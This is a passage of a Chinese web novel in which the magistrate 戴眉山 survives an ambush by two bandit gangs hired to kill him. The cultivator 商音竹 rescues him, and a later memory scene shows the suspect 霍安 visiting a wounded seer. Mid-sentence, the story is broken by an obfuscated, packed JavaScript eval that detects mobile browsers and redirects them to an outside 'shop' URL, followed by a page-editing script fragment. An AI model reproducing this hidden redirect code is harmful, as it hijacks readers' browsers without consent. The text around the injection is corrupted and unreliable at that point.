那一声本在呵止马匹,然而,马不知发了什么疯,竟然不听招呼。不听招呼也就算了,偏偏还倔强地回身要走。这一转身就麻烦了,前方山道狭小,后方又有人马阻隔,这马勉强转了半边身子,再想动弹,却是进退两难。 于是,本不宽敞的山道就这样被堵死。 马上侍卫被这架势吓到了,胡乱抽了下鞭子,见马不死活不动,急道:“府君,过不去了。” 话音刚落,又旋起阵狂风,火把应声尽灭。暗云掩月,四方山野之余漆黑一片,众人顿时慌乱起来。 戴眉山道:“快点火照亮!” 众人纷纷去摸怀里的打火石。 他又道:“稳住马匹,别撞到山壁。” 众人听到命令,勒住缰绳,控制住马头,将队伍勉强维持。然而,打火石摩擦时,虽蹦出耀眼火星,但风未停歇,很难把火把擦燃。 马不会无故违抗命令,事出反常必有妖。 戴眉山抬头望了望月亮,天上暗云似乎也被这阵狂风吹飞吹散。月光下落,可见山道两旁半人高的野草依稀可见,皆被吹得东歪西倒。 草丛中远远掷出个火星,火星落地忽低扑灭,电光火石间,只见有个人伏身蹲在草丛中。 戴眉山心上一惊,暗暗偏头看去,右边山道上黑压压一片,竟全是伏兵! 此时,众人均已经安定了马匹,戴眉山当即大叫一声:“丢了火把,快冲!” 众人正忙着摩擦打火石,一时不明白他这句话是什么意思。又听戴眉山连连催促,才抛下火把,扬鞭策马,在道上放手猛冲。 山道上顿时响起阵清脆马蹄响。 忽然,右边山道上冲出百十个壮汉,众人大惊失色,手上马鞭越抽越快。 奔逃中,戴眉山朝左右匆匆一扫,那些人果然没骑马。心想:“这山道虽窄,却是一条直道,下了山,便可从大道直奔城内。他们只凭两条腿,一时也追不上。” 边逃边大声道:“路边有人埋伏。” 见人没追上来,众人稍微松了口气:“是打劫的流匪?” 戴眉山道:“不知道,我们快马入城,他们不敢追!” 众人心上七上八下,却不再多问,追赶的虽不足百人,至少也有七八十人,急踏的脚步忽远忽近,煞是骇人。幸好骑着马一阵狂奔,跑到出山口时,已经完全听不见响动了。 众人长吁一口气,终于缓过神来。然而,此时为首马匹忽地往后一缩,马背上侍卫瞬间被甩了出去。 前面一出事,人马就过不去,再想到还有追兵正往这里飞快赶来,众人顿时慌起来,纷纷大喊“府君”。 戴眉山难得出一次会稽城,就接二连三遇上倒霉事儿,胆子反倒越吓越大。他先勉强稳住马匹,往地下一阵搜索,定睛一看,果然发现马蹄下有条手腕粗的绊索。 “杀戴眉山!”这时,入山口又冲出一队人,人数极多,吼起来声音震天,十分吓人。 这些人显然早已经埋伏在出山口,就等戴府一行人自投罗网,见绊马索起了作用,纷纷涌上山道,包饺子似的把戴府人马前后包抄。 一看人数,戴眉山就知道惨了,掉进狼窝了。 三不管地带流匪猖獗,不过既然是流匪,匪帮之中人数通常不会多到哪里。一般来说,少则七八人,多则四五十人。 然而,现在堵截他们的加起来怕是有百余人! 六人和百人,人数悬殊至极,要杀戴眉山,无异于瓮中捉鳖。不过,这些人仅仅把人围住,你看我,我看你,却没一人动手。 原因很简单。 第一,两条腿的怕四条腿的,百十号人扎堆挤在又小又窄的山道上,一旦动手,保不齐被踢到踩到,一个不小心落得半身不遂,不值当。第二,戴府来人随身都带着武器,他们自认没有能力空手接白刃。第三,他们根本不知道戴眉山是谁。 绿豆王八相互看了一阵,一个汉子——显然是领头的,举起钢刀,冲在最前面,高声道:“长得最俊的是戴眉山!” 果然,两百多只眼睛齐齐扫来,略过其他人,直接钉在戴眉山脸上。 戴眉山见他们不认识自己,心想与他们必无深仇大恨,推测这些人多半是些杀人买命的土匪。 于是道:“诸位放我一马,要多少银钱,戴眉山如数奉上。” 土匪头子道:“我杀你,赏金自然拿到手,我若放你,还要去你府上走一遭,弯弯绕绕,太麻烦。” 戴眉山见他不肯,又听他口中说着“赏金”,当即承诺:“无论对方开出多少,戴眉山都双倍奉上!” 土匪头子还没应声,其他人听到高额回报,却按耐不住了,当即透了底:“大哥,两千两银子呢!” 戴眉山见他手下人有所动摇,再添一把火:“诸位若不信,我可立字契为证,明日取银,绝不拖欠。” 土匪眼里直冒光,两千两,随便分走十两也够过两年舒坦日子了。 土匪头子却道:“戴府府君,两千两便宜了。”他比了个“一”,大声喊道,“一万两!” 众人倒吸一口凉气,一万两,都说戴家是方圆千里最富,但一万两可不是小数目。 没想到戴眉山一口答应:“好,你们还得放过我手下人。” 土匪头子钉了他一眼,心想,这小子真他妈好命。催促道:“别废话,取纸笔来。” “老大,我们身上没带这种玩意。” 土匪头子环视一周,众人一阵摇头晃脑,脸色十分不好看,指头随便戳戳:“你,跟我们走,取了赎金,我再放你。” 戴眉山只好下马与他商量:“你让他们先回去,明晚折了银子送到山上。” “土匪头子走得他旁边,瞅准他心口 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不巧,山道深处又传来急踏脚步声,众人听罢,惊惧交加下,竟急急后退,隐隐有落跑之势。 倒是土匪头子脑子清楚,呵道:“跑什么跑,是一路的。” 果然,在山路转折处,疾步跑来几十人来,正是刚才埋伏在路边的。 为首之人皮肤黝黑,个子精瘦,左耳被削去半截。冲到土匪头子跟前,冷笑道:“刘老三,这人可是我先抓到的。” 看来是两伙不同帮匪。 刘老三鼻孔朝天,根本不把他放在眼里:“先看到又如何,人现在可在我手上!” 那人吼道:“买主要的是人头,他没死,做不得数。刘老三,你脑袋被金刀卫踢坏了,连这种事也要我说?!” 刘老三听他揭自己短,顿时火冒三丈,骂道:“黑皮头,你有种就过来,没屌就自己憋着,别瞎出来显摆。” 黑皮头反唇相讥:“你也有脸说?被金刀卫打得哭爹喊娘,像只耗子四处乱钻,你尽管叫,把人叫来,一起玩完!” 无忌公室执掌十里槛以来,一反历代公室据守旧地作风,竟然把手伸到公室势力之外,首当其冲的自然就是四处滋事扰民的流匪。 今天两伙人原是橫据在三摩地附近的大匪团,仗着人多势众,平时横得不行。 但他们再横,也横不过金刀卫手上那把金刀,饱饱吃了几顿好果子,只得被迫离开原先领地。 然而其他地方也有盘踞的大匪帮,碰了几次钉子,他们自认强龙压不过地头蛇,辗转来到会稽城。 会稽城居民比耗子还贼,天黑后,关门闭户,死活就是不出门。他们只是些杂匪,武功都没认真学过,更不敢进城强抢。来了好几个月,只敢在城门外守株待兔,偶尔抓到个落单的,也榨不出几滴油水。 眼见就要弹尽粮绝,忽然有个人找上门,并说要和他们做一场交易。 交易的内容很简单:以戴眉山项上人头换一千两银子。 一得到戴眉山离城的消息,他们便在山上埋伏。 谁知,买主竟又叫了另一个匪帮,现在两个匪帮迎面撞上,正因分赃问题掐骂不止。 “也别说我不讲道义,现在我就让你一让。”黑皮头见争执不下,提议道,“拿了人头,赏金对分,怎样?” 刘老三嘿嘿一笑:“我人多,你人少,真要打起来,我可不怕你。至于赏金,一个子儿都别想拿走。” 黑皮头面色一沉,指着戴眉山:“你怕不是收了他更多好处?”见对方不反驳,当即怒骂,“你脑子被狗啃了,他们这种人的屁话你也敢信?” “你不杀他,拿了钱他跑去公室告状,你还有命!” 戴眉山忙道:“公室远在千里之外,不会管我们这种闲事。” “闭嘴。”对戴眉山劈头盖脸一阵喝骂,“无忌公室手已经伸这么长,还会在意这些!”他指了指戴府一行人,“他们就这点人,几刀杀了,干干净净,谁又知道是你干的?犯得着惹一身骚?” 刘老三似乎被他说动,提了刀,走上两步,似觉不对,停步道:“一千两赏金听着不少,但再加上你手底下的人,一人啃一口,几下就没了。” 说着,刀子移向黑皮头。 黑皮头面色一变:“你要独吞。” “我,吃得下。”又点点黑皮头,“你,不行。” 说罢,身后匪帮整队慢慢逼上,黑皮头一边也不肯示弱,五六十人的队伍在他身后缓缓聚拢,双方一时剑拔弩张,眼见将有一场恶仗。 戴眉山知道不能让他们打起来,急道:“二位请住手,且听我一言。” 黑皮头刚想张嘴,刘老三却抢先一步:“有屁快放。” 戴眉山顾不得粗言粗语,开口便道:“二位若是动手,必定拿不到这笔钱。” 二人同时愣住。 戴眉山道:“敢问二位口中的买主此刻是否在会稽城中?” 刘老三见他说中,打了个住手的手势,黑皮头不知他葫芦里卖的什么药,但毕竟牵扯到自己利益,也把手下叫住。 两人绿豆对王八,同时点点头。 戴眉山道:“我只带几骑上山,无论哪边出手,人数如此悬殊,我必定无法逃脱,对吗?” 黑皮头原本也看中山后作为伏击处,只是陈老三人多势众,一时抢不过,才提前到山道旁埋伏。当时他就觉得奇怪,若真要收拾戴眉山,又何必雇来两伙匪帮?多花银子不说,还容易节外生枝。 刘老三也想,那人真该死,他都承诺必定取来戴眉山项上人头,为什么还喊来该死的黑皮头,难道不知道他们是死对头吗? 见他们各自沉默不语,戴眉山又问:“敢问买主是否预先付过定钱?” 二人又是一愣,他们是土匪,打家劫舍才是老本行,买凶杀人只是无奈之举。见对方开价大方,也没有多想,就痛痛快快答应了。 戴眉山又问:“可立有字据? 二人嘴角一抽,和土匪讲道理、立字据,这不是笑话?! 戴眉山抓紧机会剖析利弊,滔滔不绝道:“既无定钱,又无字据,那人目的只在杀我。等天亮没见我回去,他便以寻查这女子为由遣人上山探问。” “到时候不管派去的人回不回得来,他必能探知我是否身亡。会稽城近日旅人渐多,人员来去复杂,待目的达成,他若混入人群逃走,你们也拿不到他。” 众人闻言,瞬间恍然大悟。 黑皮头脸一阴:“敢耍老子!我现在便摸入城中,把人拿住,看他往哪里跑!” 陈老三赞同地点点头。 戴眉山道:“拿到人你们要如何说?” “抓到他,光天化日之下,他一大声叫嚷,咬死你们是匪,你们必定走不脱。退一万步来说,即使你们互相证明身份,又能拿他怎样?” 陈老三当即跳起来骂了句脏,吼道:“我便说是讨债如何?!” 黑皮头白了他一眼:“字据呢!”指指戴眉山,“你说你杀了戴家府君,大功一件,亲自上门讨钱?” 陈老三脸憋得通红,支支吾吾说不出一句话。 戴眉山道:“那人使计通知二位同时前来,便是想让二位大打出手,两败俱伤,为他脱身铺路。所以,二位不能杀我。” 黑皮头骂道:“老子被人摆了一道,心里不痛快,就是要杀你泄愤,你他妈又能如何?” 说着,手腕一翻,提起钢刀,一刀砍向戴眉山。 这一刀又快又急,即便杀不死人,也得落下残废。戴府众人大声尖叫,然而戴眉山已经下了马,他们就算想救人也根本来不及,只能眼睁睁看着那一刀横空劈下。 孰料钢刀才逼近戴眉山肩头,不知何处飞来道怪力,哐当一声,钢刀落地。 黑皮头捂被震得发麻的右臂,惊慌中,四处张望。 顿了好几秒,土匪们终于反应过来了。不待下令,两方人员自觉收拢,刀子、棍子、石头,随便捡了一样就抓在手里,也不管对方是人是鬼,对着空气,就是一阵胡拍乱打。 这时,道旁徐徐飘下两片枯叶。 戴眉山呆了呆,不知为何,全副精神都落到两片叶子上。 极黑的夜里,一道身影倏地穿过重重包围,冲戴眉山肩头猛地一拍,笑道:“看我,看叶子做什么?” 周盈默叹,商音竹终于出来了! 43. 苍山雪(七) 把手一收,商音竹瞥了黑皮头一眼:“和你们说话怎么这么累。” “你要钱,他有钱,你杀他,蠢啊!” 两步上前,对陈老三劈头盖脸一顿嘲讽:“一万两,胃口不小,你早点下山,钱已经到手了。”忍不住摇头,脸上生出嫌弃与不忍直视之态,“骗你的,你问都不问就相信,说真话的,你又犹犹豫豫不敢相信,活该饿肚子!” 二人被她骂得狗血淋头,双颊通红,苦于刚刚才吃过亏,只好生生忍住,由着她骂。 然而手底下的人就没这样的眼色,见对方是个姑娘,而且是个十分年轻的姑娘,平白生出轻蔑之意:“大哥,多个臭丫头算什么,我们一起上,还怕拿不下她。” 戴眉山刚想开口,陈老三一巴掌拍过去,骂道:“这是修行者,你想屁吃!” 修行者起码都是会武功的,他们说到底不过是群乌合之众,真要动起手,无论输赢,死的肯定不是她。 陈老三也算能屈能伸,当即陪笑道:“姑娘莫气,是小人昏了头,挡住姑娘的路,小人即刻就走。” 商音竹道:“你们平白无故来找别人麻烦,现在想走就走,你觉得说得过去吗?” 陈老三笑脸一僵,随即点头哈腰,不住作揖:“姑娘饶我一次,我们也是穷得没办法了,从今以后,金盆洗手,再也不敢了。” “刀子架在脖子上,这下知道说漂亮话了?”商音竹睨了他一眼,“你要从良,从公室跑到这里,上千里地,哪处不能生根,怎么就一直没想过?” 戴眉山知道她厉害,但对方毕竟人多势众,真动起手又怕她吃亏,忙道:“他既没伤人,姑娘便饶过他吧。” “我又没说不饶。”商音竹有些生气,“喏,你说怎么处置?” 戴眉山道:“你说有人要买我命,那人是谁?” “杨宏德。” 商音竹瞪了他一眼:“名字没用,长什么模样?” 陈老三又是一阵缄默。忽道:“看打扮是个书生。” “书生?”商音竹听他言语踌躇,问,“模样记得吗?” 陈老三只是摇头。 “你说。”商音竹指了指黑皮头,显然他的手臂还没恢复过来,一脸吃痛的模样。听到商音竹问他,支吾道:“是个男人……个子挺高……” 他还待往下说,商音竹接嘴道:“还有张脸,脸上有两只眼睛,两条眉毛,一张嘴巴,对不?” “你们根本没瞧见人!” 二人被她说得哑口无言,打又打不过,一口气不上不下憋在胸口,好不痛快。商音竹又道:“你既认不得人,刚才怎说要去城里堵他?” 黑皮头道:“他混在人群中,临走时才抛下一封信件,所有要求都写在信上。我怕他赖账,为了确定身份,等人群一散,就挑了几个有嫌疑的,吩咐手下人跟着。” 商音竹道:“你知他要杀戴眉山,又通过手下确定人现在就在会稽城,等戴眉山一死,你就把消息传进城。听到消息后,谁有异动,谁就是你要找的人,对吗?” 黑皮头点点头。 商音竹道:“你倒是机灵。”说到“机灵”二字时,睨了陈老三一眼,“不过你没想到他又找了其他人。” 商音竹也不啰嗦,直接道:“你派去的人叫什么名字,怎么联系他们?” 黑皮头道:“进城后的第三家客栈,客栈对面有条河,每隔一个时辰,河上会有个摆渡人靠岸揽客。” 那摆渡人必然就是传递消息的中间人。 “线有几条,都叫什么名字?” 黑皮头一口气报出二十多个名字。 商音竹一个头两个大,根本记不住这些陌生名字。幸好,戴眉山记忆极佳,听他说完,立即复述了一遍,问道:“可有缺漏?” 黑皮头不可思议看着他,点了点头。 他们又分别问了这两个匪帮来历,知道公室最近在打击流匪。临了,商音竹把人狠狠吓唬一番,才放他们离开。 等人离开,戴眉山立即查探坠马侍卫伤情,幸好山路逼仄,马体型又大,并未施展开。那一下看着吓人,却没摔倒要害之处。 见天色隐隐转亮,一行人忙将随身之物打整好,继续上路。 戴眉山把自己的坐骑让给商音竹,自己与其他侍卫同骑一骑。路上得了空,才道:“多谢姑娘出手相救,敢问姑娘名姓?” 商音竹随口答应:“举手之劳,我姓商,名字不爱说给人听。” 她说得直率,戴眉山略显尴尬,正不知如何接话,又听商音竹问:“你是会稽城的府君?” 戴眉山点点头, “我想看耆老会,可以吗?” “商姑娘也是为此而来?” “顺路而已。” “可以吗?” 戴眉山喜道:“姑娘只要写个拜帖给我就行。” “拜帖?”在路上的确听过参加耆老会要拿拜帖,商音竹点头答应,“行,我身上没带纸笔,进城再给你。” 须臾,戴眉山又道:“眉山有一事不解,想向姑娘探问。” 商音竹歪头看他:“什么事?” 戴眉山道:“姑娘方才藏在何处?” 商音竹扑哧一笑:“还能有哪里?我都在树上蹲好久了,可是你们一个都没发现我。” 戴眉山淡淡一笑:“原来如此,怪我眼拙。” 商音竹道:“怪什么,你又不是修者,自然瞧不到。” 想了想,觉得好玩,又说:“这两个匪帮从入夜就守起了,守了这么久,跟石墩子似的一动不动,我刚好路过,就在旁边看了一会儿。” “他们迟迟不动,实在无聊,我都想走了,诺,你就来了。” “摆这么大阵仗,我还以为有什么了不得的人呢,结果你打个小土匪都费力。” 戴眉山道:“惭愧,惭愧。” 似想起什么,商音竹猛地收住笑容,认真道:“你是惹了什么仇家,非杀你不可?” “我也不知道。”戴眉山直摇头,他实在想不起自己还有这样的仇家。 商音竹奇道:“你真是,差点命都丢了,却连得罪过谁都不知道。” 说完,又觉得不对,于是道:“不过的确有种人,你分明没得罪他,他却对你起了坏心。” 目光移到驮着尸身的马背上,指了指:“这是怎么回事?” 戴眉山如实说来,商音竹听了对遇害母子十分同情,却又将严枫骂了一通。 一路上戴府侍卫都各自提心吊胆。现在听她骂了严枫一顿,不免又想起会稽城近日种种怪事以及虚无缥缈的怪力乱神。 一个侍卫道:“今晚有扫把星,姑娘看见没?” 商音竹奇道:“何为扫把星?” “长星坠尾,便是扫把星。”稍年长的侍卫道,“轨迹由北向南,灾难最终会应在南方。” “南方?” 一个侍卫抢道:“那不是公室!” “无忌公室掌权以来,行事作风确实与以往大相径庭。”商音竹摇头,“但公室根基不好撼动。” 戴眉山道:“听那两匪首说,无忌公室近几年越境清匪,不免遭人忌恨。” “你说那些杂鱼?”商音竹语气颇为轻蔑,“八千金刀卫,他们动不了。” 想了想,又道:“不过这事儿让罗刹海和晴岚山市知道了可不太好。” 戴眉山望了眼天:“姑娘以为祸根在越境?” “越境?谁划的境,公室与晴岚山市、罗刹海隔着几百里,怎么犯也犯不到它们头上。不过公室先开了头,不可能无的放矢。” 冷笑一声:“那些没主之地就不好说了。” 一个侍卫道:“无忌公室清匪不是好事,怎会不好?” 商音竹没吭声,心里却道:“无忌公室打着清匪的由头,暗行掠地之事,山市主人眼睛不瞎,迟早得敲打敲打他。至于三煞,只怕巴不得水再搅浑些!” 见她不吭声,戴眉山自然明白其中缘由,只道:“不管私心如何,各地匪患确实少了许多。” “少的只事公室边上的。”商音竹游历颇广,当即反驳,“比如今天那两拨人,金刀卫,除开守在十里槛的三千,还有五千。无忌公室真想收拾他们,他们怎可能逃窜至此?” 戴眉山一惊,压低声音:“姑娘的意思,公室此法,意在祸水外引?” 商音竹直摆摆手:“祸水?他们的份量还不够,鬼知道无忌公室脑子成天在想什么。” * 入了城,二人分道扬镳,商音竹去河边拿线人。戴眉山则领了侍卫,直奔棺材铺。 棺材铺老板瞌睡都还没睡够,眼睛将闭不闭,迷糊间,只见迎面走来几队人马。心想,估计是来看耆老会的游人。 直到六人六马在棺材铺前齐齐刹住脚,他才发觉今天来了大生意。 定睛一看,马上那个风流儒雅、俊朗无双的不是戴家府君是谁? 棺材铺老板连忙上前招呼。 最近戴家管家醉酒溺亡的事情引起不小风声,预言之事更是以讹传讹,说得神乎其神。 今早刚出炉的说法是,据说那晚守在酒馆外的是路过的是个身披七宝袈裟,颈带一百零八子紫檀念珠的佛陀。霍廉少时离乡,中年丧妻,佛陀不忍他晚年再受苦难,便现了法身,趁夜来提点他。 孰料生死有命,佛陀前脚刚走,霍廉后脚就溺死在河里。 那条河,他一辈子来来回回也走了千数次,可见天意难违。 至于佛陀,法身已现,自然无逗留的道理。那晚以后,也不知到何方云游了。 这种传闻虽不算新奇,但添油加醋,也勉强也当饭后谈资了。只有些关系略近,三五不时照过面的,听说霍廉遗体至今未寻回,才真心慨叹一声。 这下戴府府君亲来棺材铺,棺材老板自然猜到他用意。 戴眉山下了马,直抒来意。棺材铺子老板伸出右手,比了个“二”,张大嘴巴,不可置信道:“两个!” 别人开张做生意都是笑脸相迎,棺材铺赚的是死人钱,平白多得了门买卖,却是笑不出来。 戴眉山点点头,摸出银两,把钱一次付清。不一会儿,戴府便派来马车,把两口棺材运了回去。 入了府,他先去看了擅罪者情况,孙大夫说暂无性命之忧,必须好好将养。戴眉山叹了口气,又问霍廉遗体是否找回。 来回话的小厮道:“晚上不敢出门,昨天加上今天,已经沿河打捞了二十来里路,来来去去,只捞出几件衣服和一些杂物,人却没看到。” 戴眉山只好加派人手找寻,然后又去看望严枫。 严枫不再大吵大闹后,戴府仆人替他松了绑,又重新安排了间居室。这间居室自然离擅罪者养病处隔得很远。 半日以来,他饭也吃不下,觉也睡不着,眼神木讷,偶尔回过神,张口就问:“你们府君什么时候回来?” 小厮道:“许是明日。” 他便坐在屋里静静等着。 戴眉山敲门而入,严枫一见到他立即扑了上来:“他们……我……” 戴眉山道:“人我已经从山上接下来了。” 严枫听罢,忽地哭出来,连声道:“谢谢……谢谢你!” 他深受打击,神情却不像原先那样疯狂,戴眉山问:“人已到府中,你要去看看吗?” 严枫神情怯怯,不说话,只是摇了摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796376|190652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头。 见戴眉山要走,又喊住他:“你帮我为他们母子立个碑,不要埋在山上了,就埋在会稽城里边,随便哪一处都行。” 戴眉山点点头,临要出门,猛地发现身上衣服污秽不堪,想了想,回房换了身清爽衣服,直奔河边。 * 街上行人稀疏,铺子也还没全开,抬眼一派萧条。戴眉山沿河而行,流水潺潺,喧哗中带了点骚动。 走到桥边,一只脚刚迈上去,似又想起什么,垂下头,往桥下看了眼。 又看了眼。 然后临水自照,正了正发冠,理了理衣襟。 这时,一艘木船缓缓靠近,木浆不动,只有船底荡出阵阵水波。 一阵碧风掠过,船上传来砰的一声。 戴眉山赶紧抬起头,着急去瞧船里面的情况。半晌,那船渐渐靠了岸,商音竹从船舱走了出来,失望道:“来晚了,人已经跑了。” 说罢,将船靠岸。 这船极小,勉强可载三四人,船上只有一个低矮的船舱。 戴眉山来来去去看了好半天,河上没遮蔽物,又没听到有东西落湖的声音。显然,从头到尾只是一艘空船。奇道:“消息还没来得及走漏,那人怎知我们要来抓他?” 商音竹正欲接话,神色忽沉,双手捉住船桨,贯入水中,猛地一摇。 很快,果然从船底带上件衣服。 她把衣服甩到船上,用船桨拨开一看,居然是一整套的穿着。 褂子、里衣、甚至还有亵裤…… 河岸边上住着不少人家,风大了,刮走几件衣服也不算稀奇。奇就奇在,这些衣服却是成套穿戴整齐的。 看来看去,倒像是什么人在恶作剧。 把衣服提回河里,商音竹问他:“那匪头说要杀你的人就在城中,现在见你安然回去,必然不会放过你。”想了想又说,“照你说的,严枫之事未曾外漏,旁人就算见到你出城也猜不到你要去哪里,但那人却能及时告知山上匪帮,你好好想想,是什么人。” 戴眉山明白她的意思,只是摇头:“一千两银子太多,一般人拿不出。” 思忖片刻,商音竹忽道:“不对。” “第一,那人原本就没打算拿钱,不然不会叫来两伙人自相残杀。” “第二,如果线人也死了,一千两银子更是空口无凭。” 现在的情况就是,背后教唆者既叫来了两伙人自相残杀,又抢先一步将线人……灭口。 顿了一下,又道:“你出城时间又太过巧合。他才想杀你,晚上你就自己跑出城。会稽城偏偏又有入夜不出门的惯例,怎么看怎么奇怪。” 戴眉山也是临时才决定上山,走之前只见过这几个人:霍安、严枫、孙大夫,还有重伤的擅罪者。 擅罪者重伤连动都动不了,孙大夫在城中行医多年,脾气虽坏,却有医心。至于严枫,当时他还被五花大绑关在房内。 那就只有……霍安。 “霍叔的侄儿!” 戴眉山被自己的想法吓了一跳。 商音竹在路上听他说过霍廉坠河之事,也知道霍安此人。便问道:“霍廉老家离会稽城有多远?” 霍廉老家在麦城,戴眉山虽没去过,但霍廉三五年才回去一趟,可知路途遥远。上次霍家来人,也是为参加霍廉妻子丧礼。 但霍廉前脚刚死,霍安后脚就上了门。 时间未免仓促。 戴眉山似还有迟疑:“我与他不过才见过一面,他为何要杀我,而且霍叔……” “被杀就算你倒霉?难道他杀人还需要你替他找理由?”商音竹立即打断他,“霍廉是霍廉,霍安是霍安,不是一个人,不记一个情。” “你若是犹豫,我倒有个法子。” “商姑娘请说。” “你也不给他啰嗦,霍安既是霍管家亲侄子,人死了,他还留着干嘛。”商音竹最讨厌这些弯弯绕绕的,“不管是不是他害你,你直接打发他回老家发丧。” 戴眉山当即道:“此法可行。”虽然简单,却很直接,也最有效。 想了想,又说:“可霍叔遗体还没寻到。” “人死为大,先立衣冠冢也可。”商音竹道,“难道一日找不到遗体就拖延一日?” 戴眉山觉得她说得也有理,于是点头答应。 “等他扶棺出城,我便在后面跟着。若他无异动,此事作罢,若他有异心,我就——” 商音竹比了个“咔嚓”的动作。 “略残暴了……” “是有点。”商音竹笑了笑,“要不你多备一副棺材。” “………” 戴眉山一脸窘相,欲言又止。 商音竹终于忍不住笑出声。 “随口一说而已。”商音竹满脸笑意,“到时候我抓他关着,别让他兴风作浪就是。” “至于你怎么处置,我可不管。” “姑娘为何要这样帮我?” “你不高兴?” 戴眉山手足无措,连忙解释:“不不不,我很欢喜。”他脸一红,“就是……就是不知如何当得起姑娘如此盛情。” “都说是举手之劳。” “非要说的话。”商音竹琢磨了一下,这些书生的确有些莫名其妙的固执,太虚的东西又不知道怎么给他说。于是直言不讳道,“我很喜欢你……很喜欢你的名字。” 戴眉山听得耳根发烫。 “戴眉山,很不错的名字,叫起来很顺口。” 她笑道:“尤其是中间那个字。”迟疑了一下,问,“枚字很好听,你的是那个?” “眉眼的眉。” “也不错。” 44. 苍山雪(八) 画面一变,光线骤然转暗。房中帘幕紧拢,视野迷离,只听见外面传来稀稀疏疏的风声。 床上躺了个人,全身上下皆隐没在巨大的阴影之中,正是重伤的擅罪者。他一声不吭地抬起手,指节微屈,摸了摸缠在眼睛上的一圈黑布,似乎想把它扯下。 周盈看了一阵,心想:“也难怪他要把眼睛遮住,一睁眼看到的都是些死人,搁谁谁不怕?” 还有一件事让她觉得十分奇怪,或者说,不合理——这些画面全部来自严枫的记忆,而现在,严枫根本不在这里! 下一秒,她就明白了。 因为她看见擅罪者手里握着铃铛。 赦心子铃。 两枚子铃相当于一双眼睛,一颗眼珠在擅罪者手中,一颗眼珠被“赤狐”捏着。而母铃便是大脑,子铃“看到”的一切会分毫不差地存入母铃这颗“大脑”。 他们能看见严枫不曾见过的场面,就是因为赦心子铃的存在,他们看见的其实是擅罪者保留下来的记忆。 但是……还有相当一部分画面严枫和擅罪者都不曾出现,这部分记忆又来自何人? 思索间,视野随脑识一同落到擅罪者身上。 擅罪者昏昏沉沉睡了大半日,此时头脑尚且清醒,只是苦于伤势无法随意行动。 他的伤势的确很重。 严枫只是个猎户,未经修行,更不会武功,擅罪者却能被他重伤至此。之前在骡马大会,周盈亦目睹他被玄冥帮追杀。 面对那些滥竽充数的恶徒,他甚至毫无招架之力…… 周盈猝然一惊,若他不是修行之人,一百多年……普通人怎么可能活一百多年! 细想起来,不久前在骡马大会看到的擅罪者,身形佝偻,虽已现老态,却走动无碍。戴眉山是百年前之人,擅罪者与他见过面,百年光阴,对普通人来说,这种衰老速度极不正常…… 上百年…… 更何况活到现在的不止擅罪者,还有严枫! 周盈忍不住望向屋内老者,比起擅罪者他显得正常些,身体无一处不透露出衰老的气质。白发苍苍,耳目不清……一个人孤独守在云顶峰……思量之际,脑识中画面再次出现变化。 * 房门发出细微响动,幽闭的空间里突现一线光。那光渐渐闭拢,最后挤进个人。 是霍安! 病人需要静养,不宜打扰,除了三餐和定时换药喂药,戴府仆人绝不会在他面前乱晃。 加之此时戴眉山诸事缠身,霍安便趁孙大夫出去放风的空档溜了进来。 感受到动静,擅罪者捏住念珠下的铃铛,含糊问道:“是哪位?”他说得费力,统共三个字,每说一个字都带着难以抑制的喘息。 闻言,霍安身子骤然一僵,显然他没想到床上重伤之人还清醒着。 但他很快恢复平静,一个身受重伤连话都讲不清楚的人又能拿自己怎样?何况,擅罪者根本没看见自己的脸。 霍安盯着擅罪者,暗暗观察他的同时,低声道:“先生,该换药了。” “我记得不久才有人来换过。”擅罪者伤了心肺,经过调养,勉强能说两句话,“现在还不到换药的时候。” 被他指出漏洞,霍安神色间闪过一丝慌乱,但发觉擅罪者真的虚弱得动弹不得,便长舒一口气,安心了许多,笑道:“孙大夫说先生伤势见好,该试试用些其他药。” “我又逃过一劫?”擅罪者语气疲软、格外平静地发出一声疑问。 霍安捉起桌上茶盘,轻轻一磕,佯装药箱放下的声音。确定擅罪者无法挣扎,迈开步子,朝他走了过去。 “你知道吗?”擅罪者似乎要扭过头。 霍安停下动作看着他。 床上之人气息微弱,只见他的嘴唇碰了两下,究竟说了什么,霍安并没听清,于是问道:“先生说什么?” 擅罪者尝试面对来人,但他微微一用力,就觉得五脏六腑都要被撕裂。他只好微微侧着头:“我有很多次走在死亡面前,并且已经摸到了它。” “菩萨保佑,你逃过一劫。”霍安说着,眼珠子在擅罪者身上搜索着,好像在找什么东西。 “不,我死了。”擅罪者自言自语道,“可我又活过来,所以……现在你能看见我。” 他的声音很小,好像梦中呓语,霍安模糊地勉强听见两个字,以为他在说胡话,又听他道:“我……我也有妻子……有孩子……” 霍安皱起眉头,渐生不耐,那东西究竟藏到哪里去了……该死!根本看不清。霍安又往床上凑近了两步。 擅罪者仰着头,对着空无一物的床幔,呢喃道:“你看到了。” 霍安慌地往屋外看了一眼,敷衍道:“什么?” “我就要死了……再一次……” 他说这话时浑身一动不动,屋内很暗,声音也几不可闻,霍安竟有些害怕,感觉他在和什么看不见的东西说话。颤栗道:“你在跟谁讲话?”传言这人能预知生死,他……究竟看到了什么! 擅罪者轻轻咳了一声,嘴唇发白,虚弱动着:“正在看着我的人。”他说这话时,头好像摆正了一些,就好像尝试与看着他的人对视。 周盈只觉身后一阵恶寒。 “现在……”擅罪者挣扎着抬起手,把霍安惊了一下,“请帮我……揭开黑布。” 霍安壮着胆子走到他的面前,看见了他手上的赦心子铃。 “快……”擅罪者又叫唤了一声。 霍安颤抖着手,不受控制地揭开脸上黑布。 擅罪者眉目深邃,眼睛缓缓睁开。 淡褐色眼珠与霍安对视。 房间里视线昏暗,他的左眼却被刺痛了,忍不住发出抽痛的呻吟。 霍安一下子扑到床上,抓住他的手,央求道:“你……你是不是看到了什么……求你,求你告诉我!” 对生的极度渴求,让霍安失了分寸。 擅罪者见过太多这样的情绪,生存是人类最本初的天性。他怜悯道:“不要靠近绿衣女子!” “不要靠近绿衣女子。”霍安重复了一遍。 气力难支,擅罪者虚弱地垂下手。 